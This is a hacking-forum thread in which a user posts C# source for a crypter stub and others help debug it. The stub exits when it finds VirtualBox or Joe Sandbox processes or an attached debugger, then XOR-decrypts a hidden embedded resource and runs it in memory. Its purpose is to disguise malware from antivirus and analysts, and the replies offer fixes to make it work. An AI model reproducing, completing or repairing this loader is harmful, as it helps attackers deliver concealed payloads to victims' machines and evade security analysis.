Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

C# Stub won't run

The build is anycpu on codedom:

Code
using System.Text;
using System.Reflection;
using System.Diagnostics;
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Resources;
using System.ComponentModel;

namespace S2
{
    [EditorBrowsable(EditorBrowsableState.Never)]
    static class Program
    {
        
        static Mutex _m;

        [DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]
        static bool VM()
        {
            foreach (Process process in Process.GetProcesses())
            {
                switch (process.ProcessName.ToLower())
                {
                    case "vboxservice.exe":
                        return true;
                    case "joeboxserver.exe":
                        return true;
                    case "joeboxcontrol.exe":
                        return true;
                    case "vboxtray.exe":
                        return true;
                }
            }
            return false;
        }

        public static byte[] XOR(byte[] strng, byte[] key)
        {
            int string_len = strng.Length;
            int key_length = key.Length;
            int i, position;

            for (i = 0; i < string_len; i++)
            {
                position = i % key_length;
                strng[i] = Convert.ToByte(strng[i] ^ key[position]);
            }
            return strng;
        }

        [STAThread]
        [DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]      
        static void Main()
        {
            if (Convert.ToBoolean(Mutex.OpenExisting("PERL")) == true || VM() == true || Debugger.IsAttached == true)
            {
                Environment.Exit(0);
            }
            else
            {
                _m = new Mutex(true, "PERL");
                
                Assembly a = Assembly.Load(XOR((byte[])new ResourceManager("res",
                Assembly.GetExecutingAssembly()).GetObject("obj"), Encoding.ASCII.GetBytes("abc123"))); a.EntryPoint.Invoke(null, null);                
            }
        }      
    }
}

When i crypt it with a test application, it has the waiting 'blue loading ring' then it stops and does nothing ..

the stub was fairly big

even with a small one it does that
You are compromising on the function definition and rooting with same data types
(Jun 20, 2018 11:00 AM)Jaguars Wrote:  You are compromising on the function definition and rooting with same data types

Please explain more on that, like and example
(Jun 20, 2018 11:00 AM)Jaguars Wrote:  You are compromising on the function definition and rooting with same data types

you are speaking buzzwords to pretend like you know what you are doing
(Jun 20, 2018 01:13 PM)int Wrote:  you are speaking buzzwords to pretend like you know what you are doing

He's what John shouldnt have called me. a **
(Jun 20, 2018 08:35 AM)Crakxproo Wrote:  The build is anycpu on codedom:

Code
using System.Text;
using System.Reflection;
using System.Diagnostics;
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Resources;
using System.ComponentModel;

namespace S2
{
    [EditorBrowsable(EditorBrowsableState.Never)]
    static class Program
    {
        
        static Mutex _m;

        [DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]
        static bool VM()
        {
            foreach (Process process in Process.GetProcesses())
            {
                switch (process.ProcessName.ToLower())
                {
                    case "vboxservice.exe":
                        return true;
                    case "joeboxserver.exe":
                        return true;
                    case "joeboxcontrol.exe":
                        return true;
                    case "vboxtray.exe":
                        return true;
                }
            }
            return false;
        }

        public static byte[] XOR(byte[] strng, byte[] key)
        {
            int string_len = strng.Length;
            int key_length = key.Length;
            int i, position;

            for (i = 0; i < string_len; i++)
            {
                position = i % key_length;
                strng[i] = Convert.ToByte(strng[i] ^ key[position]);
            }
            return strng;
        }

        [STAThread]
        [DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]      
        static void Main()
        {
            if (Convert.ToBoolean(Mutex.OpenExisting("PERL")) == true || VM() == true || Debugger.IsAttached == true)
            {
                Environment.Exit(0);
            }
            else
            {
                _m = new Mutex(true, "PERL");
                
                Assembly a = Assembly.Load(XOR((byte[])new ResourceManager("res",
                Assembly.GetExecutingAssembly()).GetObject("obj"), Encoding.ASCII.GetBytes("abc123"))); a.EntryPoint.Invoke(null, null);                
            }
        }      
    }
}

When i crypt it with a test application, it has the waiting 'blue loading ring' then it stops and does nothing ..

the stub was fairly big

even with a small one it does that

1) That method (called Reflection) works only for .NET executables so if you're trying to run a native one, it won't work.
2) Check if the byte array you are passing to Assembly.Load is valid. Check if the resource is actually there and if the resource name is same.
3) Change build to x86 because I assume your file is x86.
(Jun 21, 2018 06:51 AM)Electron Wrote:  1) That method (called Reflection) works only for .NET executables so if you're trying to run a native one, it won't work.
2) Check if the byte array you are passing to Assembly.Load is valid. Check if the resource is actually there and if the resource name is same.
3) Change build to x86 because I assume your file is x86.

1. Used .NET only

2. Check out my other thread without the object array

3. Tried x86 it'd give errors without debug message
(Jun 21, 2018 07:08 AM)Crakxproo Wrote:  1. Used .NET only

2. Check out my other thread without the object array

3. Tried x86 it'd give errors without debug message

Open the file in dnSpy. Expand Resources and make a screenshot of it.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C] by SIM-4717218Aug 21, 2020 11:33 AM 0 161 Aug 21, 2020 11:33 AM
Last Post: SIM-4717218
[Python] by fogstoneSep 17, 2017 02:41 AM 11 168 Sep 17, 2017 02:41 AM
Last Post: Saitama
[Python] by averagejoeeJan 16, 2017 04:25 PM 11 175 Jan 16, 2017 04:25 PM
Last Post: Goodies